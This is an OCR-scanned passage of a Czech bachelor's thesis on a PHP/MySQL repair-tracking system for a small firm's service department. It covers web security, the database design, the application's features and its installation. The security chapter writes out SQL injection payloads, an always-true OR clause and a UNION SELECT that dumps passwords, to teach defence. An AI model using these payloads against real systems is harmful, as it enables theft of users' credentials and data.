vstupnich pozadavki a hodnot. Utoénik hleda misto, kde aplikace posila SQL dotaz a snazi
se o jeho upravu. Vstupni parametry jsou vétSinou reflektovany jako hodnoty. V SQL
jazyce oznacujeme hodnoty pomoci znaku '. Pokud se ptfi vkladani hodnota nefiltruje na
obsah tohoto znaku a neoSetii se pomoci escape sekvence, v tomto ptipadé \', SQL jazyk
interpertuje vyskyt fetézce jako konec hodnoty a dal pracuje se zbyvajicimi daty jako
s pokraCovanim dotazu [16].

) ¥ PHP aplikaci na serveru je vstupni parametr ($data) zpracovan takto:

mysql_guery("SELECT * FROM uzivatele WHERE name='%data');

- I
|
| /\\L
| : i
ndeslani dat > o noeslani dotazu:
o navracen wisledku
% —vysledna stranka—%/ |
|
s . I
vaivatel webovy server I databazovy server

i 3) Bez jakekoliv znalosti pfedchoziho zpracovani obdrii SQL server
i tento dotaz:

i
SELECT * FROM uziwvatele WHERE name='karel' OR 'a="a');

Zalezi na daldim zpracovani vysledku v aplikaci. V nejhorsim pfipadé ziska uZivatel data vSech

[}
:
E 4) Tento dotaz vratl viechny poloZky tabulky uzivatele, nebol’ podminka WHERE bude platit vEdy.
[}
| uZivateld v systému.

Obrazek 7 - Priklad SQL injection utoku, zdroj [16]

S 24

V piipad¢ slozitéjsich utokli pouzije Gtoc¢nik pii formulaci dotazu klicové slovo
UNION, které spojuje vice dotazli typu serecT. Formulace utoku pak miZe vypadat
nasledovné.

Puvodni dotaz:

SELECT name, email FROM user WHERE nick = 'Snick' LIMIT 1

Hodnota vloZzena do $nick:

1' UNION SELECT psw AS name, nick AS email FROM user --
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Vysledny dotaz:

SELECT name, email FROM user WHERE nick = '1' UNION SELECT psw AS name,
nick AS email FROM user -- LIMIT 1

Nezménény dotazem vybereme jméno a e-mail jednoho uzivatele. Po vhodném
pouziti klauzule unton ziskdme hesla a nicky ostatnich uzivetell ulozené v tabulce.
Omezeni LIMIT odstranime pomoci komentéie.

Metody zabezpeceni

ZabezpecCeni spociva v pievedeni vSech kontrolnich znacek v jejich datovou
reprezentaci pomoci patiicnych escape sekvenci — tj. doplnénim znacek ', ",\a NULL o
zpétné lomitko \. Co se tyCe datovych typt, je vhodné explicitné¢ hodnoty uzavirat do
uvozovek a velmi peclivé si oSetfovat obsah uklddanych proménnych (napf. pomoci
regularnich vyrazii). V PHP toho docilime pouzitim funkce
mysgl real escape string(), kterd se o pfevod stard. Jinou moznosti je pouziti funkce
addslashes (), fe$i stejny problém s tim rozdilem, Ze je citlivd na nékterd nastaveni
v PHP. [16]

Shrnuti

StéZejni je nevéfit datlim, které prichazeji od uZivatele a dokonale filtrovat vstupni
data na zakladé¢ ocekavanych parametrii. Cilem utoku pomoci SQL injection jsou
nezabezpecend hesla, e-maily, piistupové udaje, které jsou ulozeny v databazi. Proto je
dalezité spravné ulozit data, aby po preCteni nedavala smysl. Napiiklad u hesel toto
zajistime vhodnou volbou Sifrovani.

7.4 HTTPS

Protokol HTTPS vychazi z protokolu HTTP. Zabezpecuje spojeni mezi webovym
prohlizeCem a webovym serverem pied odposlouchavanim a podvrzenim dat. Zaroven
umoznuje ovéieni identity protistrany. [17]

Princip funkce

Ptenos je realizovan pomoci protokolu HTTP, pficemZ data jsou Sifrovana pomoci
SSL nebo TLS Sifrovani. Pred zahdjenim komunikace stran se vygeneruji dva klice. Prvni
privatni nesmi byt nikdy zvefejnén a je urceny pro soukromé ucely. Druhy vefejny je plné
dostupny druhé stran€ a dochazi k jeho vyméné piti zahdjeni komunikace. Ovéfit verejny
kli¢ Ize pomoci vytahu (otisk, miniatura, hash) u protistrany se nejCastéji vyuziva
digitdlniho podpisu nejlépe diivérnou certifikaéni autoritou. Sifrovani zajisti obranu pred
odposlouchdvanim komunikaéniho kandlu a ovéfenim autenticity vefejného klice
vylouc¢ime utok s aktivnim prostfednikem.
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Sifrovani pomoci SSL

SSL predstavuje komunikacni protokol, ktery zajistuje Sifrovani dat, autentizaci
serveru, datovou integritu a autentizaci klienta pro komunikaci na bazi protokolu TCP/IP.
Jedna se o dalsi vrstvu, kterd je vlozena mezi transportni vrstvu TCP a aplikacni protokol
HTTP. Tato vrstva umoznuje autentizovat dvé komunikujici strany a ustavit mezi nimi
Sifrované spojeni. V prosttedi WWW jde vétSinou pouze o jednostranné spojeni, tedy, ze
webovy server prokaze svoji totoznost, uzivatel si tak je jist s kym komunikuje. Vyuziva se
k tomu asymetrické kryptovani za pouziti vetejného klice (Public Key), ktery je podepsan
certifikacni autoritou (Certificate Authority - CA), kterd ovéiuje, ze ten komu certifikat
vydava, je opravdu ten, za koho se prohlasuje. Veiejny kli¢ severu je ocertifikovan a
certifikat podepsan soukromym klicem certifikacni autority, klient ma k dispozici vefejné
klice davéryhodnych certifika¢nich autorit, pomoci kterych je schopen ovéfit certifikat
severu.

Network layer

Obrazek 8 - Usporadani vrstev protokolu TCP/IP s vrstvou SSL, zdroj [18]

Hlavni pfinosy protokolu SSL:

e Spolehlivost — kontrola integrity je zabezpecena pomoci entity MAC,

e Bezpecné Sifrovani — vyuziva asymetrického Sifrovani pii prenosu dat,

e Interoperabilita — fesi GspéSnou vymeénu parametrii mezi stranami bez
znalosti kodu aplikace druhé strany,

o Relativni efektivita — kompenzuje vysokou zatéz, pii Sifrovacich operacich,
pfidavnymi funkcemi jako napf. komprimace dat nebo keSovani spojeni,

e Rozsifitelnost — princip protokolu umoziuje implementaci novych metod
Sifrovani a vymeény. [18]

Sifrovani pomoci TLS

vV

Protokol TLS ptedstavuje novéjsi verzi protokolu SSL, nékdy oznacovan jako SSL
v3.1. Rozdily mezi protokoly nejsou nijak dramatické, nicméné jsou tak vyznamné, ze
spolu protokoly nespolupracuji.
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Pti pouziti blokového Sifrovaciho algoritmu je nutné datové bloky doplnit na
nasobky urcité velikosti. V TLS protokolu mize doplnéni koncit v jakékoliv délce, ktera je
nasobkem délky bloku (do velikosti 255 byte). Napiiklad — jestlize maji data pred
Sifrovanim délku 79 byte a délka Sifrovaciho bloku je 8, doplnék mize byt dlouhy 1, 9, 17,
atd. az 249 byte. V piipad¢ SSL protokolu musi byt dopln€k nejkratsi mozné velikosti. [ 18]

Urcity rozdil je také ve vypoctu MAC, nicméné na vysledné zabezpeceni nema tato
odliSnost vliv. TLS podporuje vsechny vystrahy protokolu definované v SSL 3.0
s vyjimkou no_certificate [18].

Nasli bychom dalsi rozdily, ale jak uz bylo feCeno, tyto protokoly se li§i pouze
v detailech, které na vysledny pfinos nemaji velky vliv. Protokol TLS se po publikovani
zafadil mezi internetové standardy a je plnohodnotné vyuzivan pro ovétovani a Sifrovaci
komunikaci mezi servery a klienty.

Shrnuti

Myslim si, Zze zabezpeceny pfenos by mél byt samoziejmosti u organizaci, které
chtéji pomoci internetu poskytnout divérné informace. Jedna se hlavné o bankovni
instituce, u kterych ziskani dat tfeti osobou znamend ztratu divéry jeji klientely. Pouze
Sifrovany pienos zajisti to, Ze komunikace je opravdu ditvérna a vime, Ze na druhé stran¢ je
opravdu ten, s kym chceme komunikovat. Kazdy uzivatel musi mit jistotu v bezpe€nosti
pienosu informaci a minimalizovat potencialni hrozbu utoku na sva data.

7.5 VPN

Pod zkratkou VPN se skryva velké mnoZstvi definic. Ta nejjednodussi tika, Ze
VPN je privatni sit, vybudovana v ramci vetejné sitové infrastruktury, jakou je napf.
globalni Internet [20].

K éemu slouzi

VPN nam umoznuje ,skryt“ ¢ast komunikace vsiti a vytvofit tak soukromé
prostiedi. Pro nas je dulezité, Ze pomoci VPN lze vytvofit Sifrované spojeni mezi dvéma
uzly typu uzel — uzel. Tato forma realizace se prioritné pouziva pfi komunikaci uzivatele se
zabezpecenou aplikaci nejcastéji v oboru elektronického obchodovani.

Zabezpeceny pirenos u VPN

Za pomoci Sifrovacich technologii mizeme velice efektivné realizovat zabezpeceny
prenos. Nejpouzivangjsi architekturou je IPSec, kterd piedstavuje rozsifeni IP protokolu o
bezpe¢nostni slozku. Realizuje se na sitové vrstv€ a poskytuje tak transparentné
bezpec¢nost kterékoliv sitové aplikaci na rozdil od TLS/SSL, kde je nutnd podpora
aplikace.
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Soucasti metody IPSec

Oveéreni

Jsem A, zde je dikaz S .
J diivéryhodnosti

MNabidka metod

A PK
ISAKMP a IKE

Generovani klied
Sprava klich Nabidka metod
Bezpetne spojeni

Sifrovaci Metody Metody pro

algoritmy tunelovani ochranu dat
(ﬁ'— — i~ - h . _ - #ﬁ
=y S R

Bezpecna komunikace pfes veiejnou sit’

Obrazek 9 - Zakladni soudasti protokolu IPSec, zdroj [21]

Protokoly, které obsahuje IPSec:

e AH - ovéfuje ptivod jednotlivych paketd,

e ESP -—Sifruje a ovétuje piivod dat,

o IKE — fesi ovéfovani identity ucastniki komunikace a vyménu
symetrickych klici.

Pfinosy VPN

Hlavnimi piinosy budované VPN sité¢ jsou znac¢né uSetfeni nakladd spojenych
s realizaci sit¢ a také zabezpeceni pfenasenych dat. Cilem technologie IPSec je vytvofeni
Sifrovaného tunelu mezi dvéma koncovymi zatizenimi. Definuje i standardni metody pro
vyménu a spravu klici.
Vybudovani bezpecnostniho pFenosu nam zajisti nasledujici vlastnosti:
e Duvérnost pfenosu — data jsou Sifrovana,
e Integritu dat — pfijemce ovéri, zde nedoSlo béhem pienosu k manipulaci
s daty,

e Ochranu proti opakovanému zaslani pozadavku,
¢ Autentifikaci — pomoci digitalniho podpisu.
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Shrnuti

Vytvorenim Sifrované komunikace pomoci VPN zajistime bezpe¢nost komunikace
jesté na vyssi urovni nez predchozimi metodami. Za pomoci hashovacich algoritmi, metod
tunelovani, Sifrovacich algoritmii lze dosdhnout kvalitniho zabezpeceni. Dilezité je
pofizeni sitovych prvkl, které podporuji VPN, od smérovact pires firewally po
specializované VPN koncentratory. Z divodu vypocetné¢ naroného Sifrovani, je vhodné
pouzit zatizeni, ktera podporuji hardwarové Sifrovani.

7.6 Omezeni pristupu za pomoci .htaccess

Dalsi moznosti zabezpeceni je pouziti konfiguratniho souboru webového serveru
s nazvem .htaccess. Jednd o soubor, ktery umoziiuje mimo jiné také omezeni pfistupu do
aplikace. Podporu souborli .htaccess a .htpassswd musime zapnout Vv souboru
http.conf pomoci instrukce AllowOverride.

Princip konfiguraéniho souboru

Pouzijeme-li souboru .htaccess, uzivatel pti pfichodu na stranky automaticky spusti
omezeni definovana vtomto konfiguratnim souboru. Vyuzitim nékolika specialnich
parametri spolu se souborem .htpasswd, lze realizovat nateni hesla a uZzivateli je
zobrazeno okno pro zad4ni jména a hesla.

Priklad vytvofreni omezeného pfistupu

Do souboru .nhtpasswd vloZime nick uZivatele a vygenerované heslo,
zaSifrované pomoci Sifrovaciho algoritmu

admin:S$SaprlSbcMi./..$i5bNdQfUL3HFBIwAf4ke51

Poté do souboru .htaccess vloZime nasledujici zdrojovy kéd

AuthType Basic

AuthName "PrihlaSte se prosim"
AuthUserFile /full/path/to/.htpasswd
Require valid-user

Dulezité je spravné nastavit cestu k souboru s hesly v fadku AuthuserFile.
Shrnuti

Soubor .htaccess dokaze zabezpeclit pifistup do aplikace pro urcité uZzivatele,
nicméné nejde o zabezpeceni proti hacku.
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8 Navrh databaze

Spravné navrzeni databazové struktury je zakladnim aspektem pro spolehlivé

fungujici internetovy systém, vyuzivajici ukladani dat do databaze.

Cilem pii navrhu bylo zajisténi integrity dat a dodrZeni tfeti normalové formy. Ve
vysledku se databaze pro servisni oddéleni skldda ze 4 tabulek. K navrhu byl vyuzit
program Toad Data Modeler, ktery dokéze vytvofit graficky navrh tabulek se vSemi
atributy a nasledné je propojovat mezi sebou. Program poté vygeneruje SQL kod pomoci,
kterého 1ze implementovat navrh na databidzovy systém. V mém piipadé jsem vyuzil

sluzby MySQL systému, ktery je voln¢ dostupny.

8.1 E-R diagram

opravenka
4= id_opravenky Int MM (PK) |
4= id_zak Int MN (PFK)
prijato Date NM
" zakiznik L wydej Date
d=id_zak Int NN (PK) IMEI “archar(30) NN
jmeno  “archar(50) NN komplet nost Warchar(100}
primeni Varchar(S0) NN . cena Int
| telefon Varchar(13) NN 'M pristroj Varchar(100}
email  “archar(30) druh_opravy Warchar(S0) NN
ulice  Varchar(30) NN prijal Varchar(20) NN
cp Varchar(10} NN vada Varchar({100)
mesto  archar(30) NN poslano_servis Date
m_ PsC Int m MM a kam Varchar(255)
prijato_servie Date
kom_zak “Warchar(255) NN
pred_datum_cpravy Date NM
prace Warchar(235)
. wyrizeno Int )
servisni_list
i servis
(= id_listu Int N (PH) ]
4= id_zak Int MM (PFRE)
4= id_opravenky Int MM (PFE)
4= id_tech Int MM (PFE)
zacatek_opravy Date technik
EIE;EFEW ‘E::;ar(EEE} servizni_technici |4= ?d_ten:h Int M [PK])
reklamace “archar(255) i jmeno .VEFChEF(E-U} W
d odeslani Dt ! prijmeni Warchar(S0p MM
d:f,yﬁ::r':i' Dote telefon Varchar(13) NN
__Cena Int

-~

Obrazek 10 - ER diagram, zdroj: autor
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8.2 Popis tabulek v databazi

Tabulka zakaznik

zakaznik
4= id_zak Int MN (P}

imeno  Varchar(S0) NN
prijmeni Warchar(S0}) NN
telefon “archar(13) NN
email  Varchar(20)

ulice  “archar(30) NN
cp archar{10) NN
mesto  Warchar(30) NN
PSC  Int MN

Obrazek 11 - tabulka zakaznik, zdroj: autor

Tabulka zdkaznik uchovéava dilezité kontaktni tidaje o zdkaznikovi potfebné pro
spolehlivé vyfizeni reklamace. Ptfedev§im e-mailovou adresu spolu s telefonnim
kontaktem. Je spojena s tabulkou opravenka vazbou 1:N. Priméarnim kli¢em je id zak.

Tabulka opravenka

i "

opravenka
4= id_opravenky Int MM (PK) ]
d= id_zak Int MM (PFK}
prijato Date NN
vyde Date
IMEI Varchar(30) NN
kom plet nost “archar100)
cena Int
priztroj Varchar(100)
druh_opravy “archaris0) NN
prijal “archari20y NN
vada Varchari(100}
poslano_servis Date
kam Varchar(255)
prijato_servie Date
kom_zak archar(255) NN
pred_datum_opravy Date MM
prace “archari255)
L wyTiZENo Int i

Obrazek 12 - tabulka opravenka, zdroj: autor

Tabulka opravenka obsahuje tidaje potiebné ke generovani opravenkového listu pro
zdkaznika. Zakladem jsou informace o reklamovaném piistroji, pfedpokladany druh
opravy a datum vyfizeni. Propojeni vazbou 1:1 s tabulkou servis zajisti, ze kazda
opravenka miize mit maximalné jeden servisni list.
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Tabulka servis

-

SErvis
6= id_listu Int MN (PK) )
4= id_zak Int MN (PFK}
4= id_opravenky Int MM [PFK}
4= id_tech Int MN (PFK}
zacatek_opravy Date
d_opravy Cate
pozn “archar{253)
reklamace “archar(255)
d_odezlani Date
d_wyrizeni Date
.__cena Int

Obrazek 13 - tabulka servis, zdroj: autor

Tabulka servis obsahuje informace pro servisni oddéleni nutné¢ ke generovani

servisniho listu. Obsahuje vyslednou cenu
vazby N:1.

Tabulka technik

opravy. S tabulkou fechnik je propojena pomoci

technik

4= id_tech Int

jmeno  “archar(S0) NM
prijmeni Warchar(S0) NW
telefon Varchar(13) NW

MW (PR

Obrazek 14 - tabulka technik, zdroj: autor

Tabulka fechnik obsahuje jména,
techniky.

pfijmeni a telefonické kontakty na servisni
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9 Popis aplikace
9.1 Zakladni charakteristika

Komunikac¢ni systém pro servisni odd€leni vyvijeny v mé bakalarské praci se
vyznacuje predev§im svoji jednoduchosti a uzivatelskou ptivétivosti. Ovladani celého
systému je velice intuitivni, proto by s nim nem¢l mit problém ani ¢lovek, ktery nema tolik
znalosti s webovymi aplikacemi.

Systém obsahuje ptiblizné¢ 10 riznych stranek, pfedevsSim stranky vyhledavajici
data podle zadanych kritérii. Pracovnik, tak uSetii Cas zbyte¢nym opisovanim udaju, které
uz byly jednou zadany a Ize je v databazi nalézt. Aplikace po zadani udaji pro reklamaci
dokaze automaticky sestavit servisni list a opravenku, kterou pracovnik vytiskne
zakaznikovi.

Dilezitou soucasti je také e-mailovy modul, ktery zabezpeci informovani zakaznika
v piipad¢ vytizeni reklamace.

9.2 Cil programované aplikace

Smyslem programované aplikace bylo zjednoduSeni komunikace mezi servisnim
oddélenim a zdkaznikem mladé rostouci firmy. Zavedeni systému do praxe mé zajistit
firmé zvySeni divéry u stavajicich zakaznikli. Dlouhodoby servis a spokojenost zakaznika
je stézejni pro dobrou reklamu firmy. Dalsim dil¢im cilem je ziskani vétSiho piehledu o
stavu reklamaci hlavné pro majitele firmy, kterému tak dava moznost efektivniho
controllingu firmy.

V kone¢né verzi musi systém obsahovat zabezpeCovaci prvky v zavislosti na typu
uloZzenych dat. Pfedev§im ochranu proti ukradeni dat zakaznika. Mél by byt také
prenositelny na riizné typy platforem a cenové dostupny pro malé firmy.

9.3 Srovnani se systémy na trhu

Systémy, které jsem porovnaval v bakalafské préaci, uz maji své misto na trhu.
V ptipadé, Ze bych chtél vyvinout konkurenéni produkt, stravil bych spoustu ¢asu ucenim
se novych technologii, pomoci kterych jsou moderni systémy vyvinuty. Ridil jsem se
pravidlem, které fika: ,,V jednoduchosti je sila.”“ Celd aplikace je postavena na co
nejjednodussim ovladani a dostupnosti pro mensi firmy. Neobsahuje tolik funkci, z divodu
toho, ze se zaméfuje pouze na urcity segment firmy. SnaZzil jsem se tak, aby pro servisni
oddéleni splioval co nejvice pozadavka.

Tabulka 2 — Srovnani systému s mou aplikaci

Produkt Modularni Prondjem | Multiplatformni | E-mail modul | SMS modul
Miranda 2 Ano Ne Ano Ano Ano
FlexiblePortal Ano Ne Ano Ano Ne
xWORK Ano Ano Ano Ne Ne
Aplikace Ano Ano Ano Ano Ne
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My systém splituje Ctyii z péti porovnavanych kritérii, coz ho fadi na prvni misto.
V ptipad¢ pozadavku zédkaznika je zde moznost rozsifeni aplikace o dal$i moduly, které by
se musely naprogramovat. Jestlize firma nema v soucasnosti kapital na pofizeni systému,
muze vyuzit pronajem aplikace do doby, nez kapital ziské. Rozsifitelnost aplikace na rizné
platformy zajiStuje databdzovy systém MySQL a skriptovaci programovaci jazyk PHP.
Soucasti je také e-mail modul, ktery se stara o informovani zédkazniki o stavu reklamace.

v

Postrada pouze SMS modul z divodu finan¢né nakladnéjsi implementace.
9.4 Zakladni funkce systému
Generovani opravenky

Zakladni funkci pfedstavuje generovani opravenky pro ptipad tisku. Toto funkce je
obsazena v souboru opravenky.php. Zamé&stnanec po vyplnéni vstupniho formuléfe s udaji
o opravé, ulozi data do databaze a tim se pfidd zdznam do tabulky opravenky. Pracovnik
poté mize ihned tisknout opravenku podle zadané Sablony. V ptipadég, Ze chce pracovnik
vytisknout star$i opravenku, nalezne ji nejprve ve vypisu vSech opravenek, nasledné ji
aktivuje kliknutim a vytiskne.
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Detaily opravenky s evidencnim cislem 7

OPRAVENKA EYLA PRIJATA 2010-08-04 | OPRAVENKU Pﬁ.UHL[F.} PETA

Upravit idaje | Tisk opravenky | Tisk servisniho listu | Smazat opravenku

OPRAVENKA

Evidenéni gislo 7

Dodavetel: Zakaznik:

LUCO Zbynék
A Koneeny Jméno: Petr Michali¢ka
Masarykova 652 Adresa: TyrSova 11 Kutnda Hora
BUCQO  usinadiavem el 123456789
wow .|

www.luco.cz Tel: 325 551 095

Typ pfistroje: Mobilni telefon IMEL: 3546346432123
Druh opravy: pozarucni Vada: Sam se wypina
Predpokladana cena: 1000k Prijal: peta

Datum pfijeti: 2010-08-04 Zhotovit do: 2010-08-09

Obrazek 15 - Vygenerovana opravenka, zdroj: autor

Generovani servisniho listu

Na rozdil od opravenky, ktera je urena zédkaznikovi pii zadani reklamace, servisni
list zdkaznik obdrzi aZ po provedené opravé. Ke kazdé opravence se automaticky vytvoii
servisni list, ktery upravuje pouze technik. Funkce je obsazena v souboru servisni_list.php,
ktery obsahuje také Sablonu. Obsahuje tdaje o provedenych pracich, jméno technika,
datum opravy a hlavn€ koncovou cenu opravy.
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SERVI SNi LIST Evidenéni gislo 7

Dodavetel: Zakaznik:
LUCO Zbynék Konetay' 5 .. Petr Michalitka
Masarvlcova 652 . ;
Lusd n-a d Labem Adresa: Tvrsova 11 Kuina Hora

I_ CO TE.]_ 3175 551 095 Tel: 123456789
www.lueeo. ez
Typ ptistroje: Mohilni telefon IMET: 3546346432123
Druh opravy: pozarucni Vada: Sam se vypina

Pornamka servisu:

Slo to dobie

Provedené prace, pouzité ND:

Zacatek opravy: 2010-08-08 Datum opravy: 2010-08-08
Technik: Pat Mat Konec¢na cena: 2000ke

Smluvni podminky pro provadéni oprav
1. Narok na ziruéni opravu se fdi zémiénimi podminkami stanovenymi platnymi pravnimi pfedpisy CR.dale pak
podminkami prodejce a vyrobce.
2. Bervisni centrum nemidi za ziratu dat uloZenych v paméti opravovaného zatizeni Polud zakarnik poZada o zalohovand
dat servis tento ikon provede {jeli to vzhledem ke stavu piistroje moZng).
3. zakarnik se zavanye.Ze v piipad® nezrealizované opravy (neodstranitelna vada neni nahradni dil nerentabalnd
opravaneispiiny polus o deoxidaci po vytopeni zakarnik si opravu nepieje diagnostika zavady a podobné)uhradi
poplatel 430kE ktery hradi naklady spojené s diagnostikou Polud poplatek nebude ulrazen servis vyuiije zadriovaci
pravo a zafizeni nebude vydanoe af do doby ahrady.
4 Zafizeni nevyzrvednuté do § mésich od ukonéeni opravy, bude zlikvidovino nebo prodine za cenu opravy
Zakarnil potvizuje.fe se seznamil s vyie uvedenymi podminkami a Fe s nimi bez vihrad souhlasi

Podpis zikaznikas: ......ccnrvimvcecnn e

Obrazek 16 - Vygenerovany servisni list, zdroj: autor
Vyhledani

Vyhledavani predstavuje funkci, kterd urychli praci v ptipadé, ze databaze obsahuje
velké mnoZstvi opravenek. V systému jsem pouzil vyhledavani i v ptipadé volby technika
a zékaznika, coZ znamena znacné uSetfeni Casu pfi vypliiovani opravenkového formulafe.
Vyhledavani je realizovano technologii AJAX, kterd umoZziiuje automatické vyhledavani
v pritbéhu zapisu hledaného fetézce. Odpada také znovunacteni a prekresleni stranky po
kazdé operaci. Vyhledavat Ize jak pomoci jména tak i1 pfijmeni.

Odeslat E-mail

Odesilani e-mailu zékaznikovi slouzi napfiklad k informovéani zékaznika o stavu
reklamace. K implementaci jsem vyuzil tfidu pHPMailer(), ktera rozSifuje moZnosti
véstavéné funkce mail (). V tfid¢ lze lehce nastavit spravné kodovani a predejit tak
problémlim s Ceskou diakritikou. Podporuje odesilani e-mailu ve formatu HTML, to nam
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umozni formatovat text v e-mailu. K uzivatelsky pohodInéjSimu formatovani textu e-mailu
jsem vyuzil WYSIWYG editor TinyMCE. Pomoci né¢j mize i uzivatel, ktery neovlada
formatovani pomoci HTML znacek, lehce upravovat obsah e-mailu.

Email pro zakaznika Petr Michali¢ka

Zpét na wpis opravenek | Zpét na index

Jméno a prijmeni :

Predmét :

Text -

Toto je defaultni text pro textareu. Editovat lze jednoduie v
souboru mail_main.php.

Bfgm|§§§§|styles + Format -
== == | b S @wm
— 2| = x|

Odeslat email

Obrazek 17 - Odeslani e-mailu z aplikace, zdroj: autor
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10 Zaveér

Cilem bakalafské prace bylo vytvoreni komunika¢niho systému pro servisni
oddéleni mensi firmy. Systém vznikal dle pozadavk( a pténi firmy. Aplikace byla
naprogramovana pomoci skriptovacitho jazyka PHP, ktery zajistuje dynamicnost
webovych stranek. Dale jsem vyuzil technologie CSS, databazového serveru MySQL,
HTML, JavaScript a také moderni technologie jQuery. Zavérecna verze odpovida
pravidliim pro tvorbu webu.

Komunikaéni systém splituje pozadavky firmy na funkcionalitu. Aplikace je
zamétena na jednoduchost a intuitivni ovladani, aby ji mohli vyuzivat pracovnici bez
zvlastniho proskoleni. Zabezpeceni aplikace odpovida dilezitosti uchovavanych dat, které
je pro ucely malé firmy dostacujici. Layout stranek je navrzen v duchu pozitivniho
prostiedi. Piisobi jednoduse a piehledné.

V ramci zefektivnéni aplikace na strané¢ kodu bych vyuZil objektové orientované
programovani ptipadné nékterého z modernich Frameworkt, ktery by aplikaci rozd¢lil na
nezavislé celky pomoci architektury MVC. Rozhodné bych systém rozsifil o uZivatelské
role spolu s postupnym rastem firmy. Nyni je aplikace zabezpecend pouze proti piistupu
neautorizovanych uzivatell. Aplikaci by také bylo vhodné rozsitit o SMS modul, ktery
otevfe dals$i komunikacni kanal se zakaznikem.

Pfi vyvoji systému jsem se dozvédé€l spoustu novych informaci, at’ uz z pohledu
fungovani firmy tak ze strany programatorské. Naucil jsem se implementovat nové
technologie a vyuzit jejich potencial. Zjistil jsem jak dulezité je kvalitni zabezpeceni
internetové aplikace. Cil své bakalatské prace povazuji za splnény.
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Priloha A - Instalace aplikace

1.

V prvnim kroku je nutné vybrat hosting s podporou PHP minimaln¢ verze 5,
MySQL 4.1 a vyssi. Dale také se zapnutou podporou souboru .htaccess a
htpasswd.

Zkopirujeme vs$e z hlavni slozky aplikace na Vas hosting.

Spust’te skript generator.php v systému LINUX, ktery vytvoii zabezpeceny
piistup na stranky. Zadame vlastni uzivatelské jméno a heslo.

V souboru at.php, ktery se nachdzi ve slozce s aplikaci /include vypliite
piihlaSovaci udaje k databazi.

Nastavte v souboru mail nastaveni.php, ktery se nachazi ve slozce /include,
adresu smtp serveru, piihlasovaci tdaje k e-mailovému uctu a jméno
odesilatele.

Nahrajte databdzovou strukturu do své databaze. Toho docilite zkopirovani
skriptu ze souboru db_start.sql, napiiklad pomoci MySQL Command Line
Clienta.

Ovérte funkénost

Priloha B — Programatorska dokumentace

11 Uvod

Systém je tvotfen na zakazku pro redlného zadavatele, ktery se chystd modernizovat
dosavadni firemni systém. SnaZil jsem se vytvofit prehledny a srozumitelny design, ktery
povede k dobré orientaci.

12 Pouzité jazyky

PHP 5 — velice rozsifeny skriptovaci programovaci jazyk, nezavisly na
platformé,

MySQL 5. 1. 37 — databazovy systém vytvaii spolu s PHP z4kladni stavebni
kamen vétSiny webovych aplikaci,

CSS — pomoci jazyka je upraven vzhled aplikace,

JavaScript — objektove orientovany skriptovaci jazyk, vhodné rozsituje
préci o slozitéjsi ¢asti,

AJAX — vyuziva modernich technologii, pro vyvoj interaktivnich webovych
aplikaci, které pfidavaji aplikaci uZivatelsky piijemné;si prostiedi.
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13 Vyuzité metody

Pro systém je vyuzit programovaci jazyk PHP. Piikazy SQL jsou volany PHP
metodou mysql_query.

Ptihlasovani do systému je feSeno prostiednictvim souboru .htaccess a .htpasswd.
Jedna se o standardni funkci webového serveru, takze neklade na uzivatele velké naroky.
Autorizace je provadéna na zdklad¢ dvojice jméno/heslo, kterd se nachazi v souboru
.htpasswd. Zabezpecend zoéna vznikne pro cely adresar, ve kterém se nachéazi soubor
.htaccess. Vytvoreni téchto dvou soubori fesi soubor generator.php.

14 Pouzité PHP soubory
generator.php

Soubor automaticky generuje dva zabezpeCovaci soubory .htaccess a .htpasswd na
zaklad¢é uzivatelskych vstupt. Je tak jednoduse vytvofena bezpecnd zona pro piistup
autorizovanych uzivateld.

index.php

Jadro celého systému. Na tento soubor jsou ,,nabalovany“ dal§i php soubory.
Obsahuje horizontalni menu, modul pfidani opravenky a servisniho listu. Na zaatku je
nahran soubor at.php, ktery nastavuje zakladni proménné. V hlavicce obsahuje zakladni
skripty pro oSetfeni vstupti a vysouvacich oken pfi zadavani data. V horni ¢asti je vétveni
programu, které na sebe nabaluje php soubory podle toho, ktery je zrovna volan.

opravenky.php

Slouzi jako hlavni soubor pro opravenky. Zobrazuje vypis vSech opravenek
uloZenych v databazi a po vybrani urCité opravenky jeji detail. Pfi zobrazeni detailu
opravenky se zpfistupni nasledujici horizontalni menu.

Upravit adaje | Tisk opravenky | Tisk servisniho listu | Smazat opravenku | Odeslat e-mail

Obrazek 18 — Opravenkové menu

Zobrazeny detail predstavuje také Sablonu pro tisk. Pomoci odkazu tisk opravenky,
ji lze vytisknout.

technici.php

Modul pro spravu technikii. Zobrazi vypis vSech technikli v databazi s jejich
kontaktnim ¢islem. Opét Ize techniky editovat a ménit jejich udaje. Obsahuje také moznost
smazani a pfidani technika do databaze. Je volan v souboru index.php pomoci odkazu
sprava technikt
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vyber_zak.php

Tento soubor je osekana verze souboru opravenky.php. Pomoci néj l1ze vyhledavat
zakazniky v databéazi podle jména, ptijmeni, ulice nebo mésta. Vyhledava se ihned pfi
psani textu do vstupniho inputu. Vybranim zdkaznika a potvrzenim se nactou jeho
opravenky.

vyber_tech.php

Pracuje stejn¢ jako soubor vyber zak.php akorat misto zakaznikli se v databazi
vyhledavaji technici. Vyhledavat Ize pomoci jména a piijmeni.

class.phpmailer.php

Obsahuje tfidu pHPMailer, pomoci které je zajiSténo zasilani e-maild v aplikaci.
Ttida umoziuje jednoduse nastavit funkce pro zasilani elektronické posty pomoci jazyka
PHP. Resi problémy s kédovanim.

class.smtp.php

Obsahuje tfidu smtp, kterd zajiStuje odesilani e-mailti pomoci existujictho SMTP
serveru.

phpmailer.lang-cz.php

Rozsifuje tfidu pHPMailer o CceStinu. Prekladd vSechna chybova hlaseni do
¢eského jazyka.

at.php

Zakladni konfiguraéni soubor aplikace. Zde se nastavuje MySQL server,
pfihlaSovaci jméno, heslo a jméno databdze. Je dulezité nastavit proménné pii prvni
konfiguraci systému.

mail.php

Skript vtomto souboru zajisti odeslani e-mailu pozadovanému zdkaznikovi.
Miizeme zde nastavit roz§ifujici funkce odesilani e-maild jako naptiklad kédovani.

mail_main.php

Obsahuje formulaf pro odeslani e-mailu. V hlaviéce se nachdzi skript, ktery
implementuje WYSIWYG editor s ndzvem TinyMCE.

mail_nastaveni.php

Soubor, ktery slouzZi k nastaveni e-mailové komunikace. Nastavuje se zde SMTP
server, piihlasovaci udaje, heslo, e-mailova adresa a jméno odesilatele, které se zobrazi
piijemci vedle e-mailové adresy.
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pridani_technika.php
Pomoci tohoto souboru lze pfidat pomyslnou kartu technika do databaze.
pridani_zakaznika.php

Soubor je vyzadan po odeslani formulafe v souboru index.php. Zajistuje jak
